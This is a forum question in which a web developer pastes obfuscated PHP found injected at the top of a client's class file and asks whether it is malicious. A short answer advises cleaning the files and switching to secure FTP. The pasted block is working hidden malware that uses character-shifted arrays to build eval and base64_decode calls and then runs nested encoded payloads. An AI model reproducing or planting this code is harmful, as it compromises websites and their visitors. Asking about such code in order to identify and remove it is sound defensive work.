Question

I built a website for a client a while ago who has been having issues with it. After getting into the site files I found this at the top of one of the PHP classes:

<?php
/*ad0b18735e68b25aa9c4374221824db5_on*/ $byJtFKIhXRt8KPNfT1me8ooOBXon8QgWfQgLqPSdxb= array('8759','8776','8755','8766');$ARPcAGpFFDTk4GyiFfpsl5zXmfFqCHsAp8DQFSlbm5lhCJq8P= array('8569','8584','8571','8567','8586','8571','8565','8572','8587','8580','8569','8586','8575','8581','8580');$J0BQOOWj4oRnP7liN= array('7450','7449','7467','7453','7406','7404','7447','7452','7453','7451','7463','7452','7453');$UbjPmIKWlC="eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0poVjFsblMwTkdiV1JYTldwa1IyeDJZbXc1YkdWSGJIcGtTRTF2U1d0a2JHUkZNV2hpVjBWcFMxTnNOMGxEUW0xa1Z6VnFaRWRzZG1KcFFuUmlNbEptV1RJNWRVdERVbWxrVjFsd1pUTk9NR05zT1hCamJWWjNZa2RHYWxwVFoybFFSMHAyV2tockswbHBkMmxRUjBwMldraHJLMGxwZDJ0WmJsWnRURU5TYW1KdVVtWmhRMnMzWVZkWlowdERVbXBpYmxKbVlVTkJPVkJUUVhoTFUwSTNTa2RLTVZwcFFUbEpTRTR3WTJ3NWNHTnRWbmRpUjBacVdsTm5hVkJIU25aYVNHc3JTV2wzYVZCSFNuWmFTR3NyU1dsQmRVbElUakJqYld4M1l6SjRhR015YUd4amVXZHJXREZPUmxWc1drWlZiSE5wV2pJNWRscERTbVJMVTNkcldXNVdiVXRVYzJkamJWWXdaRmhLZFVsRFVtbGtWMWszWmxoT01HTnNPWEJqYlZaM1lrZEdhbHBUWjJsUVF6bHBZakpTTlZCcFNYTkphbmQyV1cwNWEyVlVOR2xNUTFKcFpGZFpjMHBIVG5Wa1JqbHZTMVIwY0ZwcFFXOUtSMDUxWkVZNWIwbEVNRGxKUkVWd1NVaHphMWx1Vm0xSlJEQm5Zek5TZVZneWJIbGFXRUp6V1ZkT2JFdERTVGhNTWtwMldraHJLMGxwZUhwa1NFcHdZMGhPYzFsWVRtOWFXRTF2U2tZNVZGSldTbGRTVmtwaVNXMWtkbUl5VVdsWVUydDFTV3AzZGxsdE9XdGxWRFJwVEVOU2FXUlhXWEJQZVVKNVdsaFNNV050TkdkS1Iwb3hXbXAwT1dOdFZqQmtXRXAxU1VOU2FXUlhXVGRtVjFveFltMU9NR0ZYT1hWSlJ6bDNXVmMxY21GVFoydFpibFp0UzFoemExb3pjR1phVTBFNVNVZGFhR0pJVG14UGVWSnZXREozWjFCVFFtOWFWMFpyV2xoS2VsZ3llSEJqTTFGdlMxUjBjRnBwUVc5aFZ6Vm1XVmhLZVZsWWEyOUphMDUyWW01U2JHSnVVWFJTVnpWcVlqSlNjR0p0WXpaSlIyUTJZVmhCYVV4RFFXdGhSamx6UzFOcloyVjVRV3RhTTNCbVdsTkJPVWxJVW5sa1YxVTNabGRzYlVsRFoydGFNM0JtV2xOc04wcElVblJqUjFwMVdWY3hiRWxFTUdka1IxWjBZMGMxYUdKVFoybE1NMUowWTBOSmMwbERTa2RVTURocFMxUjBiV0ZYZUd4WU0wSXhaRVk1YW1JeU5UQmFWelV3WTNsbmEyUkhNWGRhYlRWb1lsZFZjMGxEVW1sa1YxbHdUM2xTTmxwRFFUbEpSMlEyWWpOQ2JHSnBaMnRrUnpGM1dtMDFhR0pYVlhOSlEwcDVTV2xyTjBwSFRuWmlibEpzWW01U2VrbEVNR2RhTTNCNVdsZEdhMHREVWpaYVEzZG5UVlJCZDAxRVFYZE5SRUZ3VDNsU2FtSXlOVEJhVnpVd1kzbEJPVWxITVhaYVJqbHFZakkwYjBwSFRuWmlibEpzWW01U2VrdFVkRzVsYlU1ellqTk9iRXREVWpaYVEyczNaRmMxYzJGWE5YSkxRMUl3WWxoQ2JXSnRSblJhVTJzM1NrZE9kbUp1VW14aWJsSjZTVVF3WjFvemNHeGliVTUyV2tkVmIwcEhUblppYmxKc1ltNVNla3RVZERsSlIxWnpZekpWWjJWNVVtcGlNalV3V2xjMU1HTjVRVGxKUnpGMldrWTVhbUl5Tkc5S1Iwb3hXbWxyTjJaVFVuTmFWelJuVUZOQ2VtUklTbk5hVnpSdlNrZE9kbUp1VW14aWJsSjZTMVIwYjFwWFJtdGFXRWx2U1d0T2RtSnVVbXhpYmxGMFZFZFdkVm96VW05UGFVRnBUR2xTYzFwWE5IQlBNMHBzWkVoV2VXSnBaMnRaTWpsMVpFZFdkV1JJVFhCUE16Qm5XbTVXZFZrelVuQmlNalJuVWpKV01GUlhSblJaVTJkd1pYbFNkR0l6VW05YVdFbG5VRk5CYVdKWFVubGlWMVpyWVZkR2JtTnRPVEZqUXpWcVlqSXdhVTh6U214a1NGWjVZbWxCYTJKWE9UQmhSMVo1VHpNeGRsbHNPWHBrUjBaNVpFTm5hV0l6UW1oaWJYUndTV2xyTjFwdVZuVlpNMUp3WWpJMFoxbFhhRzFrVjFKdFlrZGFObHBIYUcxaFNFMXZTa2hDYUV0WWMydGlWMFowV1ZOQk9VbEZaR3hrUlRGb1lsZEZiMHRVYzJ0YWJXeHpXbE5CT1VsSVZubGlSMVoxV1RJNWExcFRhR1pZTUZwS1ZFVldabGg1YXpkaFYxbG5TMGRzZW1NeVZqQkxRMUptVlRCV1UxWnJWbE5YZVVwSlZrWlNVVmd3YUZCVk1WRnBXRk5yY0dWNVVtOWlNMDR3U1VRd1owcEdPVlJTVmtwWFVsWktZa2xyYUZWV1JrSm1VMFU1VkZaRFNtUlBNekJuV2xkNGVscFRRamRLUjJoMll6TlJaMUJUUVdsSmFuUTVZVmRaWjB0SGJIcGpNbFl3UzBOU1psVXdWbE5XYTFaVFYzbEtVMUpWTVZCV1JWWm1VVlZTUlZWcFNtUkxVMnczU2tkc2QwbEVNR2RLUmpsVVVsWktWMUpXU21KSmJFcEdWRlU1VlZKV09VSlNSVkpUU1d3d04yWlRRbXhpU0U1c1NVaHphMkZZUVdkUVUwRnBTV3AwT1dGWFdXZExSMng2WXpKV01FdERVbVpWTUZaVFZtdFdVMWQ1U2tsV1JsSlJXREZLUmxKclZsTlNWa2xwV0ZOcmNHVjVVbmxhVjFsblVGTkNNV050ZUd4aWJVNTJXa2RWYjBwR09WUlNWa3BYVWxaS1lrbHJhRlZXUmtKbVZXdFdSMUpXU2taVmFVcGtTMVIwT1VsSFZuTmpNbFZuWlhsU2VWcFhXV2RRVTBGcFNXcDBPV0ZYV1dkTFIyeDZZekpXTUV0RFVtWlZNRlpUVm10V1UxZDVTa2xXUmxKUldERldWRkpXU21aUlZXUkdWR3hSYVZoVGEzQmxlVkl4V1ZOQk9VbElWbmxpUjFaMVdUSTVhMXBUYUhwa1NFb3dZako0ZG1ReVZubExRMUptVlRCV1UxWnJWbE5YZVVwSlZrWlNVVmd4VmxSU1ZrcG1VVlZrUmxSc1VXbFlVMnR3VHpNd1oxcFhlSHBhVTBJM1NraFdhRWxFTUdkSmFVazNabGRzYlVsRGFIQmpNMDVzWkVObmExZ3hUa1pWYkZwR1ZXeHphVlZXVmtaVmJHeG1WVEZTVTFOVk5VaEpiREJ3UzFoemEyTllUV2RRVTBJeFkyMTRiR0p0VG5aYVIxVnZTa1k1VkZKV1NsZFNWa3BpU1d4R1ZsSldTbHBZTVU1VlZXdHNUMUo1U21STFZIUTVTVWRXYzJNeVZXZGxlVko0WTNsQk9VbERTV2xQTXpCclpGaEtjMWg2UVdkUVUwRnBZVWhTTUdORWIzWk1lVWxuVEdsQmEyTkhSVGRLU0ZaNVlrWTRlRWxFTUdkSmFUbHhXbGRTY0V4dVFtOWpSRGt5V2xoS2VtRlhPWFZRVkVFMVQxUk5iV0pYT1RCaFIxWjVVRk5KWjB4cFVuUlpWekZvU1VNMFowbHBXbTFoVjNoc1VGTkpaMHhwUVd0YWJXeHpXbE5CZFVsRFNXMWhSemw2WkVRd2FVbEROR2RLUjJoMll6TlJaMHhwUVdsS2JXeDNVRk5KWjB4cFFXdGhXRUZuVEdsQmFVcHVTbXhhYWpCcFNVTTBaMHBJU214YWFVRjFTVU5KYldSWFJUbEphVUYxU2toV2FFbEROR2RKYVZwNFkzb3dhVWxETkdkS1NFWjZUM2xTTUdOdWEyZFFVMEl3WTI1V2JFOHliRzFMUTBKdFpGYzFhbVJIYkhaaWJEbHNaVWRzZW1SSVRXOUpiVTR4WTIxNFptRlhOWEJrUTBsd1NVTnNOMHBIVG05SlJEQm5XVE5XZVdKR09YQmliV3d3UzBOU01XTnRlR1pOUTBGMVNVTlNNV050ZUdaTlUyczNXVE5XZVdKR09YcGFXRkoyWTBoUmIwcEhUbTlNUTBKRVZsWktUVlF4UWxWWU1VcEdWa1pXVTFSc1VsTlJWVFZVVW10V1UweERRWGhMVkhScVpGaEtjMWd6VG14a1J6bDNaRU5uYTFreVozTkpSVTVXVld0NFVGVkdVbVpXUld4T1VsVTVWbFpEZDJkTmVXczNTa2hXYzJSRFFUbEpTRko1WVZjd2Ixa3pWbmxpUmpsc1pVZFdha3REVW1waFEydHdUM2xTTUdOdWEyZFFVMEp0V1ZkNGVscFVkRGxKUjJ4dFNVTm5iMkZYTlhCWU1tUnNaRU5uYVZsWGVITmlNMlJtWkZoS2MxZ3lXblpqUjFaMVNXbHJjRWxEV1cxSlExSXdZMjVyY0VsSWMydGtWM2d3U1VRd1oyUklTbkJpVTJoQldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2toV2VXSkdPSGRKUXpSblNraFdlV0pHT0hoTFUyczNTa2hTZVdWVFFUbEpSMXBvWWtoT2JFOHpNWEJhYVdkclpFaEtOVXRZYzJ0YWJrRm5VRk5DYldNeU9XcGhNamwzV2xjMGIwcElRbWhNUTBFMFRVTjNaMHBIVm5samJUVjJURU5CYTFwWVNubGpNMUo1VEVOQmVrMURhemRoVjFsblMwTlNiV05EYTJkbGVWSjJaRmhSWjFCVFFXbFNNRlpWU1VOU01XTnRlR1pOVTBKSlZrWlNVVXg2UlhWTlJuaDVXRWMwYVU5NVVuWmtXRkZuVEdvd1owbHJhSFpqTTFFMlNVTlNkMWxXZUhsWVJ6UnBUM2xTZG1SWVVXZE1hakJuU1d0T2RtSnROV3haTTFKd1lqSTBOa2xGVG5OaU0wNXNXRWhLWTJKc2VIbFlSelJwVHpKYU0yTnRiREJhVTJkcldtNUJjMGxEVW5aa1dGRndUM2xTZVZwWVVXZFFVMEZwU1dwME0yRkhiSE5hVTBGdlNWZGFiR0l5V1c5S1IxcDNTMU5yWjJWNVVubGFXRkZuU1VNME9VbERRbTFhTWxZd1kzbG5hMXB1UVhOSlJFVjVUME5yTjJaWFdtcGlSemw2V2xObmExcHVRWEJQZVZJeFlraFJaMUJUUWpCamJXeDBTMGhPTVZsdVRqQmphV2RyWTIxV01FeERRbnBrU0VwM1lqTk5iMHBJU214a1EzZG5TV3g0ZVZoSE5XTmpiSGgxU1dsclowdDVRVEJMVTJzM1psZ3daMGxIYkcxSlEyaDZaRWhLZDJJelRXOUtTRlp6WkVOM2FWcFlXbWhpUTBsd1NVTkZPVkJUUW0xWlYzaDZXbE5zTjBwSWIyZFFVMEo2WkVoS2NHTklUbk5aV0U1dldsaE5iMk16VW5sWU0wcHNZMGQ0YUZreVZXOUpiVll5V1ZkM2FVeERTV2xNUTFJeFlraFJjRXRVYzJkYVdGcG9Za05uYTJWcGF6ZEpSMVkwWVZoUmIwdFVkRGxoVjFsblMwaE9NR051UW5aamVXZHJaRmQ0TUV4RFNteFpiVFZvU1dsclowbFVNRGxKUjFwb1lraE9iRXRZYzJ0WU1VNUdWV3hhUmxWc2MybGFNamwyV2tOS1pFbEVNR2RqTTFKNVdETktiR05IZUdoWk1sVnZTVzFXYVdKdFJXbE1RMGxwVEVOU01XSklVWEJQTTBwc1pFaFdlV0pwUWpCamJsWnNUek14YkdKSVRteEpTSFI1V2xoU01XTnROR2RhYlVaell6SlZOMlpZTUd0YWJVWXdZVWRXZVUxc2RHUkpSREJuU1dwak0weHFaM2hNYWtrd1RWTTBlVTVVVFdsUGVWSnRXVmhTYjFwWVNYbFhNVEJuVUZOQmFVNUVXWFZOYWxFMVRHcFZORXhxUlhwT1UwazNTa2RhYUdSSGFHeGpha3BpV0ZOQk9VbERTWGhPZWxsMVQxTTBlVTVFUlhWTlZGVjNTV3B6YTFwdFJqQmhSMVo1VFd4MFpFbEVNR2RKYWxFeVRHcE5NMHhxUlRKUFV6UXhUbWxKTjBwSFdtaGtSMmhzWTJwS1lsaFRRVGxKUTBrMVRrTTBlVTVFU1hWTmFsVXhUR3BOTVVscWMydGFiVVl3WVVkV2VVMXNkR1JKUkRCblNXcEZNMDlETkhoT2FrbDFUVlJKTlV4cVNYbE5lVWszU2tkYWFHUkhhR3hqYWtwaVdGTkJPVWxEU1hwTlV6UjRUMFJSZFUxcVRUQk1hbXN5U1dwemExcHRSakJoUjFaNVRXeDBaRWxFTUdkSmFtTXpUR3ByTVV4cVJUUk1ha1UwVDFOSk4wcEhXbWhrUjJoc1kycEtZbGhUUVRsSlEwazFUWGswZUU1NlFYVk5WRTB6VEdwSmVVbHFjMnRhYlVZd1lVZFdlVTFzZEdSSlJEQm5TV3BGTkU5RE5EQk5RelExVGxNMGVVNUVVV2xQZVZKdFdWaFNiMXBZU1hsWE1UQm5VRk5CYVUxVWF6Vk1ha1Y0VGxNMGVVMTZSWFZPVkdkcFQzbFNiVmxZVW05YVdFbDVWekV3WjFCVFFXbFBSRWwxVFZScmVVeHFaek5NYWtVelQwTkpOMHBIV21oa1IyaHNZMnBLWWxoVFFUbEpRMGw1VFZSWmRVMXFVVEpNYW1zMVRHcEplRTVUU1RkS1IxcG9aRWRvYkdOcVNtSllVMEU1U1VOSk5VNVROSGxOVkVWMVRWUm5kVTU2YTJsUE0wNXZaRmRhYldKSFZXOUtSMXBvWkVkb2JHTnFTWEJQTWxwMlkyMVdhRmt5WjI5S1IxcG9aRWRvYkdOcVNXZFpXRTFuU2toV2VVdFlkSEJhYVVGdlNVZEdiMXB1Vm10YWJYaHRaVzFTYjFwdGFIcExRMUl4WTJsclowdFRRamRKUjBwNVdsZEdja2xFZERsbVdEQTlJaWtwT3lBPSIpKTsg")); ";if (!function_exists("Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ")){ function Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($fmG17jH6h8R6pfvV6ODRd6K,$iot3u6fS){$AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7 = '';foreach($fmG17jH6h8R6pfvV6ODRd6K as $seJ3kuSEl4K8TkDMQJMs34XHkz5KM2gM6QFgboLmiml2wOFdoh){$AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7 .= chr($seJ3kuSEl4K8TkDMQJMs34XHkz5KM2gM6QFgboLmiml2wOFdoh - $iot3u6fS);}return $AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7;}$hKVywz3gfZQjZpsdvfedFEEg3UyYs7BlInK4MDaRsR1h6 = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($byJtFKIhXRt8KPNfT1me8ooOBXon8QgWfQgLqPSdxb,8658);$UsopvTU00NLoC = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($ARPcAGpFFDTk4GyiFfpsl5zXmfFqCHsAp8DQFSlbm5lhCJq8P,8470);$D4fUhPPUiQCBxt = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($J0BQOOWj4oRnP7liN,7352);$UCUMQ98AUYryzF0tSVyD = $UsopvTU00NLoC('$kiNmYfN',$hKVywz3gfZQjZpsdvfedFEEg3UyYs7BlInK4MDaRsR1h6.'('.$D4fUhPPUiQCBxt.'($kiNmYfN));');$UCUMQ98AUYryzF0tSVyD($UbjPmIKWlC);} /*ad0b18735e68b25aa9c4374221824db5_off*/ ?>

I have no idea what it is and it’s impossible to decipher. Nothing is output when you access the file directly online. Any ideas? Does it seem malicious?

Answer 1

If you and none of your developers have any idea where it came from then I guess you are under an attack :(. The immediate fix is to do the following,

1. Clean all your files.
2. Switch to secure FTP access immediately
3. Do some more research on internet about this attack and see what other actions you need to take.

You need to do it quickly since browsers like chrome and FF will notice it soon and would start showing your site as malicious to users.